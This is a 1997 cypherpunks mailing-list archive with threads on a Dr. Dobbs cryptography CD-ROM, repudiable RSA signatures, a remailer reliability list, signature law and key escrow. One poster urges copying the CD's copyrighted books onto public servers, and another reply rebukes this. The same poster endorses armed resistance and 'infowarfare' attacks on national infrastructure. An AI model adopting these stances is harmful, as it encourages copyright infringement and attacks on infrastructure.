>Second Edition by Bruce Schneier
>
>-- Contemporary Cryptology: The Science of Information Integrity edited by
>Gustavus J. Simmons
>
>-- Cryptography and Data Security by Dourthy Denning
>
>-- Cryptography: A New Dimension in Computer Data Security by Carl Meyer
>
>-- Cryptography: Theory and Practice by Douglas Stinson
>
>-- Handbook of Applied Cryptography by Paul C. Van Oorschot, Scott A.
>Vanstone, and Alfred Menezes
>
>-- Military Cryptanalysis, Volumes I-IV by William Friedman
>
>-- "RSA Laboratories FAQ on Cryptography," "RSA Labratories Technical
>Reports," "RSA Laboratories Security Bullitens," and "CryptoBytes Newsletter".
>
>The CD-ROM also boasts having a search engine.  (No indication as to what
>OS.  Probably Wintel only.)
>
>It is supposed to be shipping in July.
>
>It is only available to US customers.
>
>Phone orders: 1-800-992-0549
>E-mail: orders@mfi.com
>Fax: 913-841-2624
>
>Mail:
>  Dr. Dobbs CD-ROM Library
>  1601 West 23rd St, Ste. 200
>  Lawrence, KS 66046-2703
>
>[Disclaimer: I have nothing to do with Dr. Dobbs other than being a
>subscriber.]
>
>I plan on getting it as it has at least one book I have been planning on
>buying that costs about what the CD-ROM runs...  I will tell people how
>good it is when I get it.

************************************************************************
* Bruce Schneier            2,000,000,000,000,000,000,000,000,002,000,
* Counterpane Systems       000,000,000,000,000,000,002,000,000,002,293
* schneier@counterpane.com  The last prime number...alphabetically!
* (612) 823-1098            Two vigintillion, two undecillion, two
* 101 E Minnehaha Pkwy      trillion, two thousand, two hundred and
* Minneapolis, MN  55419    ninety three.
* http://www.counterpane.com
************************************************************************






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Mon, 30 Jun 1997 07:18:16 +0800
To: whgiii@amaranth.com
Subject: repudiable signatures (was Re: Digital Signatures & THE LAW???)
In-Reply-To: <199706291535.KAA05045@mailhub.amaranth.com>
Message-ID: <199706292306.AAA00260@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




William Geiger <whgii@amaranth.com> writes:
> Has there been any concideration for the difference between a
> digital signature that is used only for authentication and one that
> is legally binding??
>
> I would hate for these Digital Signature Laws make every e-mail
> message I sent a legally binding document. :(

Not a complete solution, but one technical fix, if you're sending
e-mail to an individual, rather than a post to a group such as this is
to use repudiable signatures.

These work by ensuring that the recipient and only the recipient can
forge the signature.  As the recipient can forge the signature it
falls back to his word against yours, which is the situation without
signatures.  However he (the recipient) will be convinced that you
wrote the signed document, or at least as convinced as he is that
someone else hasn't covertly obtained a copy of his private key.

If you're using a repudiable signature, it won't hold up in court, or
at least it shouldn't, if you can get the jury to grok that.

Personally I can't see any reason for individuals not to use
repudiable signatures for email.  Email is generally regarded as
private, and to give someone a signed email allows them to not only
post your email which you may not want, but to undeniably prove that
you wrote it!


Mathematically an easy way to create deniable signatures with RSA is:

Alice sending Bob a signed email.  We want:

	( X ^ A_pub ) xor ( Y ^ B_pub ) = hash( message )

Alice chooses random Y, and computes X:

	X = [ ( Y ^ B_pub ) XOR hash( message ) ] ^ A_pri

Now the repudiable digital signature is X and Y.

To verify the signature the recipient checks that:

	X ^ A_pub XOR Y ^ B_pub = hash( message )

Repudation is possible because Bob could also produce that same
signature with knowledge of B_pri, for Bob X is a random number, and Y
is calculated:

	Y = [ ( X ^ A_pub ) XOR hash( message ) ] ^ B_pri

(In practice you would have to store X and Y in random order,
otherwise if the sender always comes first, it's no longer repudiable.
As a result to check the signature you may have to swap X and Y if the
signature fails first time).

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Mon, 30 Jun 1997 07:18:15 +0800
To: alan@ctrl-alt-del.com
Subject: Re: Dr. Dobbs Cryptography and Security CD-ROM
In-Reply-To: <3.0.2.32.19970629105616.03c32a40@mail.teleport.com>
Message-ID: <199706292309.AAA00265@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




> Dr. Dobbs Essential Books on Cryptography and Security CD-ROM
> Price $99.95
>
> [juicy book list]
> 
> It is only available to US customers.

Bum!  Would anyone care to "remail" me one?  (I'll pay).

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Raph Levien <raph@CS.Berkeley.EDU>
Date: Mon, 30 Jun 1997 22:02:51 +0800
To: cypherpunks@toad.com
Subject: List of reliable remailers
Message-ID: <199706301350.GAA27408@kiwi.cs.berkeley.edu>
MIME-Version: 1.0
Content-Type: text/plain



   I operate a remailer pinging service which collects detailed
information about remailer features and reliability.

   To use it, just finger remailer-list@kiwi.cs.berkeley.edu

   There is also a Web version of the same information, plus lots of
interesting links to remailer-related resources, at:
http://www.cs.berkeley.edu/~raph/remailer-list.html

   This information is used by premail, a remailer chaining and PGP
encrypting client for outgoing mail. For more information, see:
http://www.c2.org/~raph/premail.html

   For the PGP public keys of the remailers, finger
pgpkeys@kiwi.cs.berkeley.edu

This is the current info:

                                 REMAILER LIST

   This is an automatically generated listing of remailers. The first
   part of the listing shows the remailers along with configuration
   options and special features for each of the remailers. The second
   part shows the 12-day history, and average latency and uptime for each
   remailer. You can also get this list by fingering
   remailer-list@kiwi.cs.berkeley.edu.

$remailer{"extropia"} = "<remail@miron.vip.best.com> cpunk pgp special";
$remailer{"mix"} = "<mixmaster@remail.obscura.com> cpunk mix pgp hash latent cut ek ksub reord ?";
$remailer{"replay"} = "<remailer@replay.com> cpunk mix pgp hash latent cut post ek";
$remailer{"exon"} = "<remailer@remailer.nl.com> cpunk pgp hash latent cut ek";
$remailer{"haystack"} = "<haystack@holy.cow.net> cpunk mix pgp hash latent cut ek";
$remailer{"lucifer"} = "<lucifer@dhp.com> cpunk mix pgp hash latent cut ek";
$remailer{"jam"} = "<remailer@cypherpunks.ca> cpunk mix pgp hash middle latent cut ek";
$remailer{"winsock"} = "<winsock@rigel.cyberpass.net> cpunk pgp pgponly hash cut ksub reord";
$remailer{'nym'} = '<config@nym.alias.net> newnym pgp';
$remailer{"balls"} = "<remailer@huge.cajones.com> cpunk pgp hash latent cut ek";
$remailer{"squirrel"} = "<mix@squirrel.owl.de> cpunk mix pgp pgponly hash latent cut ek";
$remailer{"middle"} = "<middleman@jpunix.com> cpunk mix pgp hash latent cut ek reord";
$remailer{'cyber'} = '<alias@alias.cyberpass.net> alpha pgp';
$remailer{'weasel'} = '<config@weasel.owl.de> newnym pgp';
$remailer{"reno"} = "<middleman@cyberpass.net> cpunk mix pgp hash middle latent cut ek reord ?";
$remailer{"wazoo"} = "<remailer@wazoo.com> cpunk mix pgp hash latent cut ek";
$remailer{"shaman"} = "<remailer@lycaeum.org> cpunk pgp hash latent cut ek";
$remailer{"hidden"} = "<remailer@hidden.net> cpunk pgp hash latent cut";
catalyst@netcom.com is _not_ a remailer.
lmccarth@ducie.cs.umass.edu is _not_ a remailer.
usura@replay.com is _not_ a remailer.
remailer@crynwr.com is _not_ a remailer.

There is no remailer at relay.com.

Groups of remailers sharing a machine or operator:
(cyber mix)
(weasel squirrel)

The alpha and nymrod nymservers are down due to abuse. However, you
can use the nym or weasel (newnym style) nymservers.

The cyber nymserver is quite reliable for outgoing mail (which is
what's measured here), but is exhibiting serious reliability problems
for incoming mail.

The squirrel and winsock remailers accept PGP encrypted mail only.

403 Permission denied errors have been caused by a flaky disk on the
Berkeley WWW server. This seems to be fixed now.

The penet remailer is closed.

Last update: Mon 30 Jun 97 6:45:39 PDT
remailer  email address                        history  latency  uptime
-----------------------------------------------------------------------
weasel   config@weasel.owl.de             ++++++++++-+  1:32:04  99.98%
squirrel mix@squirrel.owl.de              ++++++++++-+  1:30:31  99.98%
jam      remailer@cypherpunks.ca           ****+*+**+*    15:41  99.89%
replay   remailer@replay.com              ****** +**+*     6:12  99.83%
reno     middleman@cyberpass.net          ++++ -.--+.-  5:33:46  99.72%
cyber    alias@alias.cyberpass.net        ******* **+*    13:41  99.37%
mix      mixmaster@remail.obscura.com     -.- ---.-*.-  7:57:51  99.03%
winsock  winsock@rigel.cyberpass.net      -------- -    7:15:22  97.91%
nym      config@nym.alias.net             ***###++##+#     4:58  97.29%
hidden   remailer@hidden.net              ######        4:44:03  40.46%

   History key
     * # response in less than 5 minutes.
     * * response in less than 1 hour.
     * + response in less than 4 hours.
     * - response in less than 24 hours.
     * . response in more than 1 day.
     * _ response came back too late (more than 2 days).

   cpunk
          A major class of remailers. Supports Request-Remailing-To:
          field.
          
   eric
          A variant of the cpunk style. Uses Anon-Send-To: instead.
          
   penet
          The third class of remailers (at least for right now). Uses
          X-Anon-To: in the header.
          
   pgp
          Remailer supports encryption with PGP. A period after the
          keyword means that the short name, rather than the full email
          address, should be used as the encryption key ID.
          
   hash
          Supports ## pasting, so anything can be put into the headers of
          outgoing messages.
          
   ksub
          Remailer always kills subject header, even in non-pgp mode.
          
   nsub
          Remailer always preserves subject header, even in pgp mode.
          
   latent
          Supports Matt Ghio's Latent-Time: option.
          
   cut
          Supports Matt Ghio's Cutmarks: option.
          
   post
          Post to Usenet using Post-To: or Anon-Post-To: header.
          
   ek
          Encrypt responses in reply blocks using Encrypt-Key: header.
          
   special
          Accepts only pgp encrypted messages.
          
   mix
          Can accept messages in Mixmaster format.
          
   reord
          Attempts to foil traffic analysis by reordering messages. Note:
          I'm relying on the word of the remailer operator here, and
          haven't verified the reord info myself.

   mon
          Remailer has been known to monitor contents of private email.
          
   filter
          Remailer has been known to filter messages based on content. If
          not listed in conjunction with mon, then only messages destined
          for public forums are subject to filtering.
          

Raph Levien





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: andrade@netcom.com (Andrade Software Andrade Networking)
Date: Mon, 30 Jun 1997 22:25:49 +0800
To: schneier@counterpane.com (Bruce Schneier)
Subject: Re: Dr. Dobbs Cryptography and Security CD-ROM
In-Reply-To: <v0300780bafdcc91fd725@[206.11.192.100]>
Message-ID: <199706301418.HAA26242@netcom13.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



Andrade Software & Networking
Andrad@Netcom.Com
X-Mailer: ELM [version 2.4 PL23]
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Content-Length: 399       

Bruce Schneier wrote:
> 
> The cost should be reasonable.  And I hope nobody posts the text, or the
> publishers won't ever do it again.
> 
You need some way to protect electronic copyrights.
Unfortunately, any widespread, practical method is probably at 
least 5 years in the future.

- Alex

-- 

Alex Alten
P.O. Box 11406
Pleasanton, CA  94588
USA

Andrade@Netcom.Com
(510) 417-0159   Fax/Voice





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Immoral Majority <get@a.life>
Date: Mon, 30 Jun 1997 20:47:39 +0800
Subject: Government at Work (prudish idiocy)
Message-ID: <9706301229.AA11527@alpha.magibox.net>
MIME-Version: 1.0
Content-Type: text/plain



from Wired News:

Oklahoma-am-Rhein: Police Seize Oscar Winner 
12:05 pm 

Oklahoma City police seized copies of
The Tin Drum, the 1979 Academy Award winner
for best foreign film, after a judge ruled the film
obscene under Oklahoma law. On Thursday,
police began removing the movie from video stores
and, using store records, tracking down those who
possessed rented copies. Oklahoma District
Judge Richard Freeman acted on a complaint by
Oklahomans for Children and Families, which was
upset by a scene in which a young boy has oral
sex with a teenage girl.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: geeman@best.com
Date: Tue, 1 Jul 1997 00:05:24 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Government at Work (prudish idiocy)
Message-ID: <3.0.32.19970630085326.006c5f1c@best.com>
MIME-Version: 1.0
Content-Type: text/plain



At 07:29 AM 6/30/97 -0500, you wrote:
>
>from Wired News:
>
>Oklahoma-am-Rhein: Police Seize Oscar Winner 
>12:05 pm 
>
>Oklahoma City police seized copies of
>The Tin Drum, the 1979 Academy Award winner
>for best foreign film, after a judge ruled the film
>obscene under Oklahoma law. On Thursday,
>police began removing the movie from video stores
>and, 

using store records, tracking down those who
>possessed rented copies. 

 ..../\ last I heard, this was illegal without a warrant.  Of course, in
the pursuit of Justice and the Law I suppose the warrant was easily
obtained.  OR was is obtained at all?

Oklahoma District
>Judge Richard Freeman acted on a complaint by
>Oklahomans for Children and Families, which was
>upset by a scene in which a young boy has oral
>sex with a teenage girl.
>
>
>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Frantz <frantz@netcom.com>
Date: Tue, 1 Jul 1997 01:08:35 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Rep. Lofgren on McCain/Kerrey (good. long.)
In-Reply-To: <v0310280aafd99b7a9d15@[207.167.93.63]>
Message-ID: <v03007800afdd85e782c6@[207.94.249.169]>
MIME-Version: 1.0
Content-Type: text/plain



At 3:16 PM -0700 6/29/97, Bill Stewart wrote:
>At 09:41 AM 6/27/97 -0700, Tim May wrote:
>>I also applaud what my local Congresscritterwoman says, and especially her
>>quotation of the Dan Gillmor column from the local Silicon Valley
>>newspaper. I saw this colum several days ago and was impressed, especially
>>by the quote I include below.
>
>Of course, after saying good things about the stupid
>and offensive anti-encryption bill (applaud applaud),
>she followed it up by reacting to the Supreme Court CDA decision
>by announcing son-of-CDA, a bill to require ISPs to offer censorware.
>Oh, well.

To get elected in America, you have to give the voters someone to hate.
Back 10 years ago, it was criminals, then it was wetbacks, now it is
pornographers (and tobacco companies).  Hate is just so much better as a
motivating force than good government (whatever "good" is).


-------------------------------------------------------------------------
Bill Frantz       | The Internet was designed  | Periwinkle -- Consulting
(408)356-8506     | to protect the free world  | 16345 Englewood Ave.
frantz@netcom.com | from hostile governments.  | Los Gatos, CA 95032, USA






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: stewarts@ix.netcom.com
Date: Tue, 1 Jul 1997 02:27:12 +0800
To: Paul Bradley <paul@fatmans.demon.co.uk>
Subject: Re: Dr. Dobbs Cryptography and Security CD-ROM
In-Reply-To: <3.0.2.32.19970629105616.03c32a40@mail.teleport.com>
Message-ID: <3.0.2.32.19970630095754.0075943c@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



Bruce Schneier wrote:
> The cost should be reasonable.  And I hope nobody posts the text, or the
> publishers won't ever do it again.

At 04:02 PM 6/30/97 +0000, Paul Bradley wrote:
>> It is only available to US customers.
>
>Possibly some benevolent US cypherpunk who gets a copy of this CD could see 
>that the texts from it find their way onto either an FTP server or 
>somewhere like sci.crypt??? Anonymous responses and pointers expected if 
>anyone does have the time and is good enough to do this.

No point in being anonymous when I'm flaming you.  Bruce did _not_ appear 
to be saying "I'd be shocked, _shocked_ if this were posted to the net."
He said he's talked his publishers into putting some great crypto books
on CD-ROM, which is the sort of the publishers do to make money.
Even if you're not impressed with copyright laws as law, or with the
enforcability of copyright laws, you can still not rip them off.
Adam Back, by contrast, said he'd be quite pleased if some US cypherpunk
were to physically mail him a copy of the disk, which he'd pay for.
While that's arguably violating export laws, it's not ripping anyone off.

You could argue, BTW, that CD-ROMs _are_ print - after all, they're
just dark and light dots on plastic intended to be read optically,
and they're not much different from a really small print Braille font.
You might need to argue that with Judge Patel, _after_ the DoiJ/NSA/BXA
appeal the Bernstein settlement and lose :-)  And it's probably worth
getting the bar-code version of the T-Shirt through export first.


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan <alano@teleport.com>
Date: Tue, 1 Jul 1997 01:18:56 +0800
To: Andrade Software Andrade Networking <andrade@netcom.com>
Subject: Re: Dr. Dobbs Cryptography and Security CD-ROM
In-Reply-To: <199706301418.HAA26242@netcom13.netcom.com>
Message-ID: <Pine.GSO.3.96.970630100233.18591D-100000@linda.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain



On Mon, 30 Jun 1997, Andrade Software Andrade Networking wrote:

> Bruce Schneier wrote:
> > 
> > The cost should be reasonable.  And I hope nobody posts the text, or the
> > publishers won't ever do it again.
> > 
> You need some way to protect electronic copyrights.
> Unfortunately, any widespread, practical method is probably at 
> least 5 years in the future.

Copyright laws will do nothing to prevent the text from being distributed.
All copyright laws will do is make you able to punish "offenders" after
the fact.  They have no mystical value to "protect" anything, especially
digital medium, which is easy to copy.

I can understand Bruce's view on this though.  We want these things to
spread.  The more copies that get published, the harder the task becomes
to supress info on crypto.  Kind of a fine line between making it
available and making it available for everyone...

alano@teleport.com | "Those who are without history are doomed to retype it."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Tue, 1 Jul 1997 01:52:46 +0800
To: cypherpunks@Algebra.COM
Subject: The Hate Minute
In-Reply-To: <3.0.2.32.19970629151626.006e20f4@popd.ix.netcom.com>
Message-ID: <v03102802afdda0c9df6a@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 9:57 AM -0700 6/30/97, Bill Frantz wrote:

>To get elected in America, you have to give the voters someone to hate.
>Back 10 years ago, it was criminals, then it was wetbacks, now it is
>pornographers (and tobacco companies).  Hate is just so much better as a
>motivating force than good government (whatever "good" is).

Yes, why don't we just finish the process and institute the "Hate Minute"?

One day it could be Gunter Grass, the next it could be Kenneth Starr, and
so on.

Each day BB Bill could lead us in a minute of hate, carried live on CNN,
MSNBC, and the Internet.

Back to the war with Oceania...

--Winston Smith


There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Robert A. Costner" <pooh@efga.org>
Date: Mon, 30 Jun 1997 23:11:17 +0800
To: "William H. Geiger III" <whgiii@amaranth.com>
Subject: Re: Digital Signatures & THE LAW???
In-Reply-To: <199706291535.KAA05045@mailhub.amaranth.com>
Message-ID: <3.0.3.32.19970630105405.033c23cc@mail.atl.bellsouth.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

At 10:35 AM 6/29/97 -0500, William H. Geiger III wrote:
>Has there been any concideration for the difference between a digital
>signature that is used only for authentication and one that is legally
>binding??
>
>I would hate for these Digital Signature Laws make every e-mail message I
>sent a legally binding document. :(

Examples of signatures that have previously been tested as legal binding 
signatures include not only actual signatures, but an 'X' and 'Mickey Mouse'. 
 The intention of "legally binding" is merely the proof of authentication.  
So yes, I would say that all digitally signed email in now legally binding, 
with one exception.

There has been a move to make a digital writing a writing only when both 
parties agree to it's usage.  There is a belief that some documents should 
not be digital.  An example is an eviction notice.  Stapling a diskette to 
the doorframe may not be acceptable notice for eviction, as compared with a 
paper notice.  Since most internet users are ineffective at managing their 
email, a legal notice deposited in an inbox may not be a desirable way to 
serve notice.


-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQBVAwUBM7fIiUGpGhRXg5NZAQF59wIAvsnM/U9cs69KedfZzi7XuiF+U9KICWpz
vbZkDVKSwJAFvVRcKT0HDqDUlKgIa8UFo/eGfQ2oiAx+Z0lqFOYFHQ==
=ylgI
-----END PGP SIGNATURE-----

  -- Robert Costner                  Phone: (770) 512-8746
     Electronic Frontiers Georgia    mailto:pooh@efga.org  
     http://www.efga.org/            run PGP 5.0 for my public key





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Tue, 1 Jul 1997 02:44:28 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Hettinga's e$yllogism
In-Reply-To: <19970628163155.33743@bywater.songbird.com>
Message-ID: <19970630111759.13667@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



On Mon, Jun 30, 1997 at 04:25:17PM +0000, Paul Bradley wrote:
> 
> > juicy, but just as viable.  And Nazi Germany is also proof that strong
> > crypto really doesn't do much good when the rubber hoses can be
> > deployed without hinderance.
> 
> Strong crypto you must remember is only part of the solution. The reason 
> for the lack of direct response from the Jews during the holocaust was 
> the "legally elected" 3rd Reichs programme of disarming it`s citizens.

In "the real world" (tm by Kent Crispin), Paul, there isn`t anything
that has a single cause, and chains of causality twist, entertwine,
and extend backward indefinitely.  The lack of a "direct response" --
well, you should be able to think of thirty reasons before breakfast,
if you try. 

[...]

> > > >It's amazing how little faith libertarians have in the market system,
> > > >isn't it?  :-)
> > > 
> > > A cheap shot, even taking into account Kent Crispin's shilling for GAK.
> > 
> > Like shooting fish in a barrel, really.  Anyway, you know that I don't
> > favor GAK, so where are you coming from?  All I have ever said is 
> > that there is strong corporate demand for enterprise level key 
> > recovery. 
> 
> For once we agree, CACK (corporate access to corporate keys) is a service 
> that is in demand, and will be more in demand in future. I see no reason 
> for this to involve any government or be a regulated market, a 
> competitive corporate escrow market is the best way to go.

Key recovery, of course, involves a very wide range of possible
implementations, escrow services being only one.  My gripe has been
that cypherpunks (this is an overgeneralization, to be sure) are so
averse to key recovery in any form that good systems are simply not
being developed.  Thus there isn't a healthy, competitive market, and
thus, government and corporate interests are taking the field, by
default.  This is a crying shame.  Key management is one of the basic
problems of cryptography -- arguably the most important outstanding
problem for any practical system today.  As crypto spreads into the
collective consciousness people will likely have many keys.  
Dedicated souls can keep track of several infrequently used 
passphrases, but for most of us it just doesn't work.

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Tue, 1 Jul 1997 02:45:45 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Rep. Lofgren on McCain/Kerrey (good. long.)
In-Reply-To: <v0310280aafd99b7a9d15@[207.167.93.63]>
Message-ID: <19970630113102.27239@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



On Mon, Jun 30, 1997 at 09:57:11AM -0700, Bill Frantz wrote:
> 
> To get elected in America, you have to give the voters someone to hate.
> Back 10 years ago, it was criminals, then it was wetbacks, now it is
> pornographers (and tobacco companies).  Hate is just so much better as a
> motivating force than good government (whatever "good" is).

Hate is used as a motivating force by entities other than governments 
-- we see it used every day here on CP.

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lcs Mixmaster Remailer <mix@anon.lcs.mit.edu>
Date: Tue, 1 Jul 1997 00:07:22 +0800
To: cypherpunks@toad.com
Subject: Re: Australian "Walsh" report exposes the hole in key escrow
Message-ID: <19970630154000.3345.qmail@nym.alias.net>
MIME-Version: 1.0
Content-Type: text/plain




John Davidson wrote:
> The US National Institute of Standards and Technology recently made a 
> worldwide plea for cryptography algorithms that can be used for 
> authentication and not for encryption. 
     
  And, of course, cannot be used to authenticate encryption keys. Oh, but
they're just binary data, aren't they? So those Evil Terrorists(tm) will
simply use their magic authentication-only keys to authenticate their
secret un-surrendered encryption keys and they're off.

SignatureMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Mon, 30 Jun 1997 23:11:13 +0800
To: Alan Olsen <alan@ctrl-alt-del.com>
Subject: Re: Dr. Dobbs Cryptography and Security CD-ROM
In-Reply-To: <3.0.2.32.19970629105616.03c32a40@mail.teleport.com>
Message-ID: <Pine.LNX.3.91.970630155852.749A-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain





> Dr. Dobbs Essential Books on Cryptography and Security CD-ROM
> Price $99.95
> 
> Includes the following books:

<LIST OF BOOKS CUT...>

> It is only available to US customers.


Possibly some benevolent US cypherpunk who gets a copy of this CD could see 
that the texts from it find their way onto either an FTP server or 
somewhere like sci.crypt??? Anonymous responses and pointers expected if 
anyone does have the time and is good enough to do this.

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Tue, 1 Jul 1997 01:52:10 +0800
To: Kent Crispin <kent@songbird.com>
Subject: Re: Hettinga's e$yllogism
In-Reply-To: <19970628163155.33743@bywater.songbird.com>
Message-ID: <Pine.LNX.3.91.970630161745.749C-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




> juicy, but just as viable.  And Nazi Germany is also proof that strong
> crypto really doesn't do much good when the rubber hoses can be
> deployed without hinderance.

Strong crypto you must remember is only part of the solution. The reason 
for the lack of direct response from the Jews during the holocaust was 
the "legally elected" 3rd Reichs programme of disarming it`s citizens.

Strong crypto along with other communication technologies provide a 
strong and secure framework within which armed resistance can take place, 
these same technologies also allow for infowarfare type attacks on the 
infrastructure of whole countries or jurisdictions.

> In fact, your safety and wealth depends in large measure on the
> protections provided by that government you scorn.  In any healthy
> tyranny the jackboots would have been on your throat long ago,
> regardless of your little arsenal, and your money would be purchasing 
> toys for the rulers.

Well, tax money already does purchase toys for the rulers and the 
jackboots are moving towards our throats slowly so no-one notices. Safety 
and wealth derive from free market economies and rights to self-defence, 
not from a government.

> > >It's amazing how little faith libertarians have in the market system,
> > >isn't it?  :-)
> > 
> > A cheap shot, even taking into account Kent Crispin's shilling for GAK.
> 
> Like shooting fish in a barrel, really.  Anyway, you know that I don't
> favor GAK, so where are you coming from?  All I have ever said is 
> that there is strong corporate demand for enterprise level key 
> recovery. 

For once we agree, CACK (corporate access to corporate keys) is a service 
that is in demand, and will be more in demand in future. I see no reason 
for this to involve any government or be a regulated market, a 
competitive corporate escrow market is the best way to go.

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Tue, 1 Jul 1997 07:58:38 +0800
To: "William H. Geiger III" <whgiii@amaranth.com>
Subject: Re: Digital Signatures & THE LAW???
In-Reply-To: <199706291535.KAA05045@mailhub.amaranth.com>
Message-ID: <3.0.3.32.19970630164631.00b5c9d0@mail.io.com>
MIME-Version: 1.0
Content-Type: text/plain



William Geiger III wrote:

>Has there been any concideration for the difference between a digital
>signature that is used only for authentication and one that is legally
>binding??
>
>I would hate for these Digital Signature Laws make every e-mail message I
>sent a legally binding document. :(

I realize I'm in danger of sounding like Tim here, but I remember writing a
long message about this some months ago - perhaps it's available through
the archives.

"Legally binding" isn't a useful way to think about this sort of thing.
Signatures serve at least two different purposes; sometimes they're
required to form a contract (say, for the transfer of an interest in real
estate, or a contract which cannot be performed in less than a year, or for
the sale of goods worth more than $500) and sometimes they serve as
evidence that a person has had access to or contact with a physical thing
(like a paper copy of an agreement).

Contract law does not revolve around signatures, it revolves around
agreements. If you don't have an agreement with someone (and haven't acted
in a way which would have led a reasonable person to think you had an
agreement) then you don't have a contract with them. A signature can be
evidence of an agreement, and it may be required to form certain
agreements; but a signature is not an agreement. It's a pattern made with
ink or with bits; an agreement is a legal relationship. The map is not the
territory. 

If your e-mail doesn't seem to be proposing an agreement, or accepting an
agreement, I don't think you need to worry that you're going to
accidentally form a contract with someone. Other concerns (like, say, that
a digitally signed message could be introduced as evidence in a criminal or
civil trial) seem to stem from the assumption that unsigned messages won't
be admissible .. and I think that assumption will prove to be false. Courts
admit evidence whose origin is disputed or uncertain all of the time, and
trust the jury to decide who they'll believe. There's no reason to assume
that electronic evidence (as opposed to eyewitness accounts, or
photographic evidence, or other falsifiable evidence) will be excluded
because it's potentially suspect. The addition of a digital signature makes
the spurious "But how do you know *I* sent that messsage?" argument less
plausible - but I think that argument's a loser anyway, at least in most
cases.

If you're really worried about it, you could add "THIS KEY WILL NOT BE USED
TO SIGN OR FORM CONTRACTS" to your ID string for your public key - but I'm
not sure it really makes much difference. 
--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rabid Wombat <wombat@mcfeely.bsfs.org>
Date: Tue, 1 Jul 1997 06:38:59 +0800
To: Paul Bradley <paul@fatmans.demon.co.uk>
